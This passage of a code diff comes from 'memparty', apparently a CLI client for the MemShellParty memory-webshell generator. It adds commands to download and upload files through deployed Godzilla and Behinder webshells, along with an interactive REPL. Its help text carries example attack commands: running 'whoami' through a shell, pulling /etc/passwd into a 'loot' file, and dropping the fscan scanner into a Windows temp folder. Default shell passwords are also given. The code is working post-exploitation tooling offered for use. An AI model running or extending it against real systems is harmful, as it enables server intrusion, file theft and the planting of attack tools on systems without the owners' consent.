+ for (const n of names) filtered[n] = all[n];
3519
+ process.stdout.write(`${JSON.stringify(filtered, null, 2)}
3520
+ `);
3521
+ return;
3522
+ }
3523
+ if (names.length === 0) {
3524
+ process.stdout.write(`no saved projects (store: ${targetStorePath()})
3525
+ `);
3526
+ return;
3527
+ }
3528
+ for (const name of names) {
3529
+ const p = all[name];
3530
+ const meta = [p.category ? `[${p.category}]` : void 0, p.remark].filter(Boolean).join(" ");
3531
+ process.stdout.write(`${name}${meta ? ` ${meta}` : ""}
3532
+ `);
3533
+ for (const [shellName, s] of Object.entries(p.shells)) {
3534
+ const line = ` ${name}/${shellName} ${s.tool} ${s.url}`;
3535
+ process.stdout.write(`${line}${s.remark ? ` \u2014 ${s.remark}` : ""}
3536
+ `);
3537
+ }
3538
+ }
3539
+ }
3540
+ function registerTargetCommand(program) {
3541
+ program.command("save").description(
2723
3542
  "Save a shell connection profile as <project>/<shell> (overwrites an existing shell)"
2724
3543
  ).argument("<ref>", "shell reference: <project>/<shell>").requiredOption("-u, --url <url>", "URL of the deployed shell").addOption(
2725
3544
  new Option6("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
@@ -2727,10 +3546,14 @@ function registerTargetCommand(program) {
2727
3546
  "after",
2728
3547
  `
2729
3548
  Examples:
2730
- $ memparty target save hw222/bh9060 -u http://192.168.31.222:9060/console/service \\
3549
+ $ memparty save hw222/bh9060 -u http://192.168.31.222:9060/console/service \\
2731
3550
  -t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \\
2732
3551
  --remark "\u5185\u7F51\u6D4B\u8BD5\u73AF\u5883" --category test
3552
+ $ memparty list # show saved targets
2733
3553
  $ memparty exec hw222/bh9060 --cmd "whoami"
3554
+
3555
+ Note: connect/exec already auto-save a verified shell as <host>/<tool>;
3556
+ save is for choosing the name by hand.
2734
3557
  `
2735
3558
  ).action((ref, opts) => {
2736
3559
  const { project, shell } = parseRef(ref);
@@ -2763,7 +3586,7 @@ Examples:
2763
3586
  };
2764
3587
  const stored = saveShell(project, shell, input3);
2765
3588
  logOp({
2766
- category: "target",
3589
+ category: "save",
2767
3590
  action: "save",
2768
3591
  targetName: `${project}/${shell}`,
2769
3592
  url: stored.url,
@@ -2788,7 +3611,7 @@ Examples:
2788
3611
  );
2789
3612
  }
2790
3613
  });
2791
- target.command("note").description("Set a remark/category on a project, or a remark on a shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").option("--remark <text>", 'remark ("" to clear)').option("--category <name>", 'project category ("" to clear; projects only)').action((ref, opts) => {
3614
+ program.command("note").description("Set a remark/category on a project, or a remark on a shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").option("--remark <text>", 'remark ("" to clear)').option("--category <name>", 'project category ("" to clear; projects only)').action((ref, opts) => {
2792
3615
  const { project, shell } = parseRef(ref);
2793
3616
  if (shell) {
2794
3617
  if (opts.category !== void 0) {
@@ -2803,7 +3626,7 @@ Examples:
2803
3626
  }
2804
3627
  const updated2 = saveShellMeta(project, shell, { remark: opts.remark });
2805
3628
  logOp({
2806
- category: "target",
3629
+ category: "note",
2807
3630
  action: "note",
2808
3631
  targetName: `${project}/${shell}`,
2809
3632
  ok: true,
@@ -2830,7 +3653,7 @@ Examples:
2830
3653
  category: opts.category
2831
3654
  });
2832
3655
  logOp({
2833
- category: "target",
3656
+ category: "note",
2834
3657
  action: "note",
2835
3658
  targetName: project,
2836
3659
  ok: true,
@@ -2841,40 +3664,12 @@ Examples:
2841
3664
  `
2842
3665
  );
2843
3666
  });
2844
- target.command("list").description("List saved projects and their shells").option("--category <name>", "only show projects in this category").option("--json", "output raw JSON").action((opts) => {
2845
- const all = listProjects();
2846
- const names = Object.keys(all).filter(
2847
- (n) => opts.category === void 0 || all[n].category === opts.category
2848
- );
2849
- if (opts.json) {
2850
- const filtered = {};
2851
- for (const n of names) filtered[n] = all[n];
2852
- process.stdout.write(`${JSON.stringify(filtered, null, 2)}
2853
- `);
2854
- return;
2855
- }
2856
- if (names.length === 0) {
2857
- process.stdout.write(`no saved projects (store: ${targetStorePath()})
2858
- `);
2859
- return;
2860
- }
2861
- for (const name of names) {
2862
- const p = all[name];
2863
- const meta = [p.category ? `[${p.category}]` : void 0, p.remark].filter(Boolean).join(" ");
2864
- process.stdout.write(`${name}${meta ? ` ${meta}` : ""}
2865
- `);
2866
- for (const [shellName, s] of Object.entries(p.shells)) {
2867
- const line = ` ${name}/${shellName} ${s.tool} ${s.url}`;
2868
- process.stdout.write(`${line}${s.remark ? ` \u2014 ${s.remark}` : ""}
2869
- `);
2870
- }
2871
- }
2872
- });
2873
- target.command("remove").description("Remove a whole project or a single shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").action((ref) => {
3667
+ program.command("list").description("List saved projects and their shells").option("--category <name>", "only show projects in this category").option("--json", "output raw JSON").action(listTargets);
3668
+ program.command("remove").description("Remove a whole project or a single shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").action((ref) => {
2874
3669
  const { project, shell } = parseRef(ref);
2875
3670
  const removed = shell ? removeShell(project, shell) : removeProject(project);
2876
3671
  logOp({
2877
- category: "target",
3672
+ category: "remove",
2878
3673
  action: "remove",
2879
3674
  targetName: ref,
2880
3675
  ok: removed,
@@ -2891,6 +3686,268 @@ Examples:
2891
3686
  });
2892
3687
  }
2893
3688
 
3689
+ // src/commands/transfer.ts
3690
+ import { writeFileSync as writeFileSync4 } from "fs";
3691
+ import { Option as Option7 } from "commander";
3692
+ function parseExtraHeaders4(lines) {
3693
+ const headers = {};
3694
+ for (const line of lines ?? []) {
3695
+ const idx = line.indexOf(":");
3696
+ if (idx <= 0) {
3697
+ throw new Error(`invalid header ${JSON.stringify(line)}, expected "Name: value"`);
3698
+ }
3699
+ headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();
3700
+ }
3701
+ return headers;
3702
+ }
3703
+ function resolveTransfer(name, opts, timeoutMs) {
3704
+ let conn;
3705
+ try {
3706
+ conn = resolveConnection(name, {
3707
+ url: opts.url,
3708
+ tool: opts.tool,
3709
+ pass: opts.pass,
3710
+ key: opts.key,
3711
+ headerName: opts.headerName,
3712
+ headerValue: opts.headerValue,
3713
+ extraHeaders: parseExtraHeaders4(opts.header),
3714
+ insecure: opts.insecure
3715
+ });
3716
+ } catch (err) {
3717
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
3718
+ process.exitCode = 1;
3719
+ return null;
3720
+ }
3721
+ return {
3722
+ conn,
3723
+ common: {
3724
+ headerName: conn.headerName,
3725
+ headerValue: conn.headerValue,
3726
+ extraHeaders: conn.extraHeaders,
3727
+ timeoutMs,
3728
+ insecure: conn.insecure
3729
+ }
3730
+ };
3731
+ }
3732
+ function maybeAutoSave(conn, opts) {
3733
+ if (conn.targetName !== void 0 || opts.save === false) return void 0;
3734
+ const savedAs = autoSaveShell(conn);
3735
+ conn.targetName = savedAs;
3736
+ return savedAs;
3737
+ }
3738
+ function printResult(result, localPath, savedAs, json) {
3739
+ if (json) {
3740
+ const { data: _data, ...wire } = result;
3741
+ process.stdout.write(`${JSON.stringify({ ...wire, localPath, savedAs }, null, 2)}
3742
+ `);
3743
+ return;
3744
+ }
3745
+ if (result.ok) {
3746
+ const [from, to] = result.direction === "download" ? [result.remotePath, localPath] : [localPath, result.remotePath];
3747
+ process.stdout.write(
3748
+ `${result.direction === "download" ? "downloaded" : "uploaded"} ${result.bytes ?? 0} bytes: ${from} -> ${to} (${result.tool}, ${result.durationMs}ms)
3749
+ `
3750
+ );
3751
+ if (result.detail) logInfo(`note: ${result.detail}`);
3752
+ if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);
3753
+ } else {
3754
+ process.stderr.write(
3755
+ `FAIL ${result.direction} ${result.tool} ${result.url}
3756
+ ${result.error ?? ""}
3757
+ `
3758
+ );
3759
+ }
3760
+ }
3761
+ function registerDownloadCommand(program) {
3762
+ program.command("download").description("Download a file from a deployed webshell (Godzilla / Behinder)").argument("[name]", "saved target name (see 'memparty list')").argument("[remote]", "remote file path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
3763
+ new Option7("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
3764
+ ).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
3765
+ "--remote-charset <label>",
3766
+ "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
3767
+ ).option(
3768
+ "--header-name <name>",
3769
+ "gate header name reported by gen (shellToolConfig.headerName)"
3770
+ ).option(
3771
+ "--header-value <value>",
3772
+ "gate header value reported by gen (shellToolConfig.headerValue)"
3773
+ ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful download").addHelpText(
3774
+ "after",
3775
+ `
3776
+ Examples:
3777
+ $ memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \\
3778
+ --header-value qSGAJScj /etc/passwd -o loot-passwd
3779
+ $ memparty download web222 C:\\Windows\\win.ini # saved target
3780
+ $ memparty download web222 /var/log/app.log -o logs/ --json
3781
+
3782
+ Integrity: godzilla verifies the transferred size; behinder additionally
3783
+ compares the remote MD5 against the received bytes. An existing local file
3784
+ is never overwritten unless --force is given.
3785
+ `
3786
+ ).action(async (name, remote, opts, cmd) => {
3787
+ const globals = cmd.optsWithGlobals();
3788
+ const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10);
3789
+ let targetName = name;
3790
+ let remotePath = remote;
3791
+ if (remotePath === void 0) {
3792
+ remotePath = name;
3793
+ targetName = void 0;
3794
+ }
3795
+ if (!remotePath) {
3796
+ reportError("missing remote file path \u2014 usage: memparty download [name] <remote>", opts.json ? ["--json"] : []);
3797
+ process.exitCode = 1;
3798
+ return;
3799
+ }
3800
+ const resolved = resolveTransfer(targetName, opts, timeoutMs);
3801
+ if (!resolved) return;
3802
+ const { conn, common } = resolved;
3803
+ let localPath;
3804
+ try {
3805
+ localPath = resolveDownloadPath(remotePath, opts.output, opts.force ?? false);
3806
+ } catch (err) {
3807
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
3808
+ process.exitCode = 1;
3809
+ return;
3810
+ }
3811
+ let result;
3812
+ switch (conn.tool) {
3813
+ case "godzilla":
3814
+ result = await downloadGodzilla(
3815
+ conn.url,
3816
+ conn.pass ?? "pass",
3817
+ conn.key ?? "key",
3818
+ remotePath,
3819
+ { ...common, remoteCharset: opts.remoteCharset }
3820
+ );
3821
+ break;
3822
+ case "behinder":
3823
+ result = await downloadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, common);
3824
+ break;
3825
+ default:
3826
+ process.stderr.write(
3827
+ `Error: download supports godzilla | behinder (got ${String(conn.tool)})
3828
+ `
3829
+ );
3830
+ process.exitCode = 1;
3831
+ return;
3832
+ }
3833
+ let writeError;
3834
+ if (result.ok && result.data !== void 0) {
3835
+ try {
3836
+ writeFileSync4(localPath, result.data);
3837
+ } catch (err) {
3838
+ writeError = `download succeeded but writing ${localPath} failed: ${err instanceof Error ? err.message : String(err)}`;
3839
+ result = { ...result, ok: false, error: writeError };
3840
+ }
3841
+ }
3842
+ const savedAs = result.ok ? maybeAutoSave(conn, opts) : void 0;
3843
+ logOp({
3844
+ category: "download",
3845
+ action: "download",
3846
+ targetName: conn.targetName,
3847
+ url: conn.url,
3848
+ tool: conn.tool,
3849
+ ok: result.ok,
3850
+ durationMs: result.durationMs,
3851
+ detail: result.ok ? `${remotePath} -> ${localPath} (${result.bytes ?? 0} bytes)` : void 0,
3852
+ error: result.error,
3853
+ meta: { remotePath, localPath, bytes: result.bytes }
3854
+ });
3855
+ printResult(result, localPath, savedAs, opts.json);
3856
+ if (!result.ok) process.exitCode = 1;
3857
+ });
3858
+ }
3859
+ function registerUploadCommand(program) {
3860
+ program.command("upload").description("Upload a local file to a deployed webshell (Godzilla / Behinder)").argument("[name]", "saved target name (see 'memparty list')").argument("[local]", "local file path").argument("[remote]", "remote destination path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
3861
+ new Option7("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
3862
+ ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
3863
+ "--remote-charset <label>",
3864
+ "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
3865
+ ).option(
3866
+ "--header-name <name>",
3867
+ "gate header name reported by gen (shellToolConfig.headerName)"
3868
+ ).option(
3869
+ "--header-value <value>",
3870
+ "gate header value reported by gen (shellToolConfig.headerValue)"
3871
+ ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful upload").addHelpText(
3872
+ "after",
3873
+ `
3874
+ Examples:
3875
+ $ memparty upload -u http://target/shell.jsp -t behinder --pass rebeyond \\
3876
+ --header-value YdwTyuQr fscan.exe C:\\Windows\\Temp\\f.exe
3877
+ $ memparty upload web222 ./agent.jar /tmp/agent.jar --json
3878
+
3879
+ Upload overwrites the remote file (truncate + write). Integrity: godzilla
3880
+ verifies the remote size afterwards; behinder compares MD5. A failed upload
3881
+ chunk aborts the transfer \u2014 the remote file may be left partial.
3882
+ `
3883
+ ).action(async (name, local, remote, opts, cmd) => {
3884
+ const globals = cmd.optsWithGlobals();
3885
+ const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10);
3886
+ let targetName = name;
3887
+ let localPath = local;
3888
+ let remotePath = remote;
3889
+ if (remotePath === void 0) {
3890
+ remotePath = local;
3891
+ localPath = name;
3892
+ targetName = void 0;
3893
+ }
3894
+ if (!localPath || !remotePath) {
3895
+ reportError("missing paths \u2014 usage: memparty upload [name] <local> <remote>", opts.json ? ["--json"] : []);
3896
+ process.exitCode = 1;
3897
+ return;
3898
+ }
3899
+ const resolved = resolveTransfer(targetName, opts, timeoutMs);
3900
+ if (!resolved) return;
3901
+ const { conn, common } = resolved;
3902
+ let data;
3903
+ try {
3904
+ data = readUploadFile(localPath);
3905
+ } catch (err) {
3906
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
3907
+ process.exitCode = 1;
3908
+ return;
3909
+ }
3910
+ let result;
3911
+ switch (conn.tool) {
3912
+ case "godzilla":
3913
+ result = await uploadGodzilla(
3914
+ conn.url,
3915
+ conn.pass ?? "pass",
3916
+ conn.key ?? "key",
3917
+ remotePath,
3918
+ data,
3919
+ { ...common, remoteCharset: opts.remoteCharset }
3920
+ );
3921
+ break;
3922
+ case "behinder":
3923
+ result = await uploadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, data, common);
3924
+ break;
3925
+ default:
3926
+ process.stderr.write(
3927
+ `Error: upload supports godzilla | behinder (got ${String(conn.tool)})
3928
+ `
3929
+ );
3930
+ process.exitCode = 1;
3931
+ return;
3932
+ }
3933
+ const savedAs = result.ok ? maybeAutoSave(conn, opts) : void 0;
3934
+ logOp({
3935
+ category: "upload",
3936
+ action: "upload",
3937
+ targetName: conn.targetName,
3938
+ url: conn.url,
3939
+ tool: conn.tool,
3940
+ ok: result.ok,
3941
+ durationMs: result.durationMs,
3942
+ detail: result.ok ? `${localPath} -> ${remotePath} (${result.bytes ?? 0} bytes)` : void 0,
3943
+ error: result.error,
3944
+ meta: { localPath, remotePath, bytes: result.bytes }
3945
+ });
3946
+ printResult(result, localPath, savedAs, opts.json);
3947
+ if (!result.ok) process.exitCode = 1;
3948
+ });
3949
+ }
3950
+
2894
3951
  // src/commands/version.ts
2895
3952
  function registerVersionCommand(program) {
2896
3953
  program.command("version").description("Show CLI version and the backend server version").option("--json", "output raw JSON").action(async (opts, cmd) => {
@@ -2920,18 +3977,138 @@ function registerVersionCommand(program) {
2920
3977
  });
2921
3978
  }
2922
3979
 
3980
+ // src/repl.ts
3981
+ import * as readline from "readline";
3982
+ import { CommanderError } from "commander";
3983
+ function tokenize(line) {
3984
+ const tokens = [];
3985
+ let cur = "";
3986
+ let quote = null;
3987
+ let started = false;
3988
+ for (const ch of line) {
3989
+ if (quote !== null) {
3990
+ if (ch === quote) quote = null;
3991
+ else cur += ch;
3992
+ } else if (ch === '"' || ch === "'") {
3993
+ quote = ch;
3994
+ started = true;
3995
+ } else if (/\s/.test(ch)) {
3996
+ if (started || cur.length > 0) {
3997
+ tokens.push(cur);
3998
+ cur = "";
3999
+ started = false;
4000
+ }
4001
+ } else {
4002
+ cur += ch;
4003
+ }
4004
+ }
4005
+ if (started || cur.length > 0) tokens.push(cur);
4006
+ return tokens;
4007
+ }
4008
+ async function startRepl(build) {
4009
+ process.stdout.write(
4010
+ `memparty ${CLI_VERSION} \u2014 interactive mode. Type 'help' for commands, 'exit' to quit.
4011
+ `
4012
+ );
4013
+ const rl = readline.createInterface({
4014
+ input: process.stdin,
4015
+ output: process.stdout,
4016
+ terminal: process.stdin.isTTY === true,
4017
+ historySize: 200
4018
+ });
4019
+ const pending = [];
4020
+ let waiter = null;
4021
+ let closed = false;
4022
+ rl.on("line", (line) => {
4023
+ if (waiter) {
4024
+ const w = waiter;
4025
+ waiter = null;
4026
+ w(line);
4027
+ } else {
4028
+ pending.push(line);
4029
+ }
4030
+ });
4031
+ rl.on("close", () => {
4032
+ closed = true;
4033
+ waiter?.(null);
4034
+ });
4035
+ const isTty = process.stdin.isTTY === true;
4036
+ rl.setPrompt("memparty> ");
4037
+ const ask = () => {
4038
+ if (isTty) rl.prompt();
4039
+ const buffered = pending.shift();
4040
+ if (buffered !== void 0) return Promise.resolve(buffered);
4041
+ if (closed) return Promise.resolve(null);
4042
+ return new Promise((resolve2) => {
4043
+ waiter = resolve2;
4044
+ });
4045
+ };
4046
+ for (; ; ) {
4047
+ const line = await ask();
4048
+ if (line === null) break;
4049
+ const tokens = tokenize(line);
4050
+ if (tokens.length === 0) continue;
4051
+ const [cmd, ...rest] = tokens;
4052
+ if (cmd === "exit" || cmd === "quit") break;
4053
+ if (cmd === "clear") {
4054
+ process.stdout.write("\x1B[2J\x1B[0f");
4055
+ continue;
4056
+ }
4057
+ if (cmd === "help") {
4058
+ if (rest.length === 0) {
4059
+ build().outputHelp();
4060
+ continue;
4061
+ }
4062
+ tokens.push("--help");
4063
+ }
4064
+ rl.pause();
4065
+ try {
4066
+ await build().parseAsync(["node", "memparty", ...tokens]);
4067
+ } catch (err) {
4068
+ if (err instanceof CommanderError) {
4069
+ } else if (err instanceof ApiError) {
4070
+ reportError(`API error (${err.status || "network"}): ${err.message}`, tokens);
4071
+ } else if (err instanceof Error) {
4072
+ if (err.name === "ExitPromptError") process.stderr.write("\nAborted.\n");
4073
+ else reportError(err.message, tokens);
4074
+ } else {
4075
+ reportError(String(err), tokens);
4076
+ }
4077
+ }
4078
+ process.exitCode = 0;
4079
+ rl.resume();
4080
+ }
4081
+ rl.close();
4082
+ }
4083
+
2923
4084
  // src/cli.ts
2924
4085
  function buildProgram() {
2925
- const program = new Command7();
4086
+ const program = new Command9();
2926
4087
  program.name("memparty").description("CLI + MCP client for MemShellParty (party.mem.mk)").version(CLI_VERSION, "-v, --version", "output the CLI version").option(
2927
4088
  "--api <url>",
2928
4089
  `MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`
2929
- ).option("--timeout <ms>", "request timeout in milliseconds", "30000");
4090
+ ).option("--timeout <ms>", "request timeout in milliseconds", "30000").exitOverride().addHelpText(
4091
+ "after",
4092
+ `
4093
+ Quick start:
4094
+ $ memparty gen # interactive memory-shell wizard
4095
+ $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 -o shell.class
4096
+ $ memparty connect -u http://192.0.2.1/shell.jsp -t godzilla --header-value qSGAJScj
4097
+ $ memparty exec 192.0.2.1/godzilla --cmd whoami # auto-saved by a successful connect
4098
+ $ memparty download 192.0.2.1/godzilla /etc/passwd -o passwd
4099
+ $ memparty list # saved targets
4100
+ $ memparty log # recent operations
4101
+
4102
+ Every subcommand has its own examples: memparty <command> --help
4103
+ `
4104
+ );
2930
4105
  registerGenCommand(program);
2931
4106
  registerProbeCommand(program);
2932
4107
  registerConfigCommand(program);
2933
4108
  registerConnectCommand(program);
2934
4109
  registerExecCommand(program);
4110
+ registerDownloadCommand(program);
4111
+ registerUploadCommand(program);
2935
4112
  registerTargetCommand(program);
2936
4113
  registerLogCommand(program);
2937
4114
  registerParseClassNameCommand(program);
@@ -2940,26 +4117,29 @@ function buildProgram() {
2940
4117
  return program;
2941
4118
  }
2942
4119
  async function main() {
4120
+ if (process.argv.length <= 2 && (process.stdin.isTTY || process.env.MEMPARTY_REPL)) {
4121
+ await startRepl(buildProgram);
4122
+ return;
4123
+ }
2943
4124
  const program = buildProgram();
2944
4125
  try {
2945
4126
  await program.parseAsync(process.argv);
2946
4127
  } catch (err) {
2947
- if (err instanceof ApiError) {
2948
- process.stderr.write(`API error (${err.status || "network"}): ${err.message}
2949
- `);
4128
+ if (err instanceof CommanderError2) {
4129
+ process.exitCode = err.exitCode;
4130
+ } else if (err instanceof ApiError) {
4131
+ reportError(`API error (${err.status || "network"}): ${err.message}`, process.argv);
2950
4132
  process.exitCode = 1;
2951
4133
  } else if (err instanceof Error) {
2952
4134
  if (err.name === "ExitPromptError") {
2953
4135
  process.stderr.write("\nAborted.\n");
2954
4136
  process.exitCode = 130;
2955
4137
  } else {
2956
- process.stderr.write(`Error: ${err.message}
2957
- `);
4138
+ reportError(err.message, process.argv);
2958
4139
  process.exitCode = 1;
2959
4140
  }
2960
4141
  } else {
2961
- process.stderr.write(`Error: ${String(err)}
2962
- `);
4142
+ reportError(String(err), process.argv);
2963
4143
  process.exitCode = 1;
2964
4144
  }
2965
4145
  }